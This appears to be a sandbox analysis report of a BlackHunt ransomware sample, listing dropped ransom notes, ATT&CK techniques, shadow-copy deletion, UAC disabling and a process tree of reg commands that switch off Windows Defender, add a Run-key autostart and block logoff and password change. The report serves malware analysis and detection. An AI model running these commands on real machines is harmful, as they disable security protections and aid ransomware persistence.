File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Syowa	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfont.properties.ja	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_es.properties	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\CompareComplete.mpeg3	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Zurich	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_zh_CN.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\amd64\jvm.cfg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\New_York	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\DVD Maker\rtstreamsource.ax	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations_2.4.0.v20131119-0908.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-profiler.xml	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Inuvik	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Tell_City	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jre7\lib\jfr\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Hermosillo	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2836	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1152	vssadmin.exe
1824	vssadmin.exe
3368	vssadmin.exe
2532	vssadmin.exe
860	vssadmin.exe
1932	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4028	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2992	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeRestorePrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeBackupPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeTakeOwnershipPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeAuditPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeSecurityPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeIncBasePriorityPrivilege	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeBackupPrivilege	1796	vssvc.exe
Token: SeRestorePrivilege	1796	vssvc.exe
Token: SeAuditPrivilege	1796	vssvc.exe
Token: SeBackupPrivilege	2348	wbengine.exe
Token: SeRestorePrivilege	2348	wbengine.exe
Token: SeSecurityPrivilege	2348	wbengine.exe
Token: SeSecurityPrivilege	3892	wevtutil.exe
Token: SeBackupPrivilege	3892	wevtutil.exe
Token: SeSecurityPrivilege	3372	wevtutil.exe
Token: SeBackupPrivilege	3372	wevtutil.exe
Token: SeSecurityPrivilege	3344	wevtutil.exe
Token: SeSecurityPrivilege	2864	wevtutil.exe
Token: SeBackupPrivilege	3344	wevtutil.exe
Token: SeBackupPrivilege	2864	wevtutil.exe
Token: SeSecurityPrivilege	2896	wevtutil.exe
Token: SeBackupPrivilege	2896	wevtutil.exe
Token: SeDebugPrivilege	4028	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2212	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	29
PID 2148 wrote to memory of 2212	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	29
PID 2148 wrote to memory of 2212	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	29
PID 2148 wrote to memory of 2212	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	29
PID 2148 wrote to memory of 2652	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	31
PID 2148 wrote to memory of 2652	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	31
PID 2148 wrote to memory of 2652	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	31
PID 2148 wrote to memory of 2652	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	31
PID 2148 wrote to memory of 2364	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	33
PID 2148 wrote to memory of 2364	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	33
PID 2148 wrote to memory of 2364	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	33
PID 2148 wrote to memory of 2364	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	33
PID 2212 wrote to memory of 2892	2212	cmd.exe	34
PID 2212 wrote to memory of 2892	2212	cmd.exe	34
PID 2212 wrote to memory of 2892	2212	cmd.exe	34
PID 2148 wrote to memory of 2436	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	35
PID 2148 wrote to memory of 2436	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	35
PID 2148 wrote to memory of 2436	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	35
PID 2148 wrote to memory of 2436	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	35
PID 2652 wrote to memory of 2664	2652	cmd.exe	36
PID 2652 wrote to memory of 2664	2652	cmd.exe	36
PID 2652 wrote to memory of 2664	2652	cmd.exe	36
PID 2148 wrote to memory of 2764	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	39
PID 2148 wrote to memory of 2764	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	39
PID 2148 wrote to memory of 2764	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	39
PID 2148 wrote to memory of 2764	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	39
PID 2148 wrote to memory of 3056	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	41
PID 2148 wrote to memory of 3056	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	41
PID 2148 wrote to memory of 3056	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	41
PID 2148 wrote to memory of 3056	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	41
PID 2364 wrote to memory of 2728	2364	cmd.exe	42
PID 2364 wrote to memory of 2728	2364	cmd.exe	42
PID 2364 wrote to memory of 2728	2364	cmd.exe	42
PID 2148 wrote to memory of 2684	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	43
PID 2148 wrote to memory of 2684	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	43
PID 2148 wrote to memory of 2684	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	43
PID 2148 wrote to memory of 2684	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	43
PID 2148 wrote to memory of 2884	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	45
PID 2148 wrote to memory of 2884	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	45
PID 2148 wrote to memory of 2884	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	45
PID 2148 wrote to memory of 2884	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	45
PID 2436 wrote to memory of 2864	2436	cmd.exe	46
PID 2436 wrote to memory of 2864	2436	cmd.exe	46
PID 2436 wrote to memory of 2864	2436	cmd.exe	46
PID 2148 wrote to memory of 2708	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	47
PID 2148 wrote to memory of 2708	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	47
PID 2148 wrote to memory of 2708	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	47
PID 2148 wrote to memory of 2708	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	47
PID 2764 wrote to memory of 2752	2764	cmd.exe	48
PID 2764 wrote to memory of 2752	2764	cmd.exe	48
PID 2764 wrote to memory of 2752	2764	cmd.exe	48
PID 2148 wrote to memory of 2888	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	50
PID 2148 wrote to memory of 2888	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	50
PID 2148 wrote to memory of 2888	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	50
PID 2148 wrote to memory of 2888	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	50
PID 3056 wrote to memory of 2528	3056	cmd.exe	52
PID 3056 wrote to memory of 2528	3056	cmd.exe	52
PID 3056 wrote to memory of 2528	3056	cmd.exe	52
PID 2148 wrote to memory of 2600	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	53
PID 2148 wrote to memory of 2600	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	53
PID 2148 wrote to memory of 2600	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	53
PID 2148 wrote to memory of 2600	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	53
PID 2148 wrote to memory of 2744	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	56
PID 2148 wrote to memory of 2744	2148	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
"C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
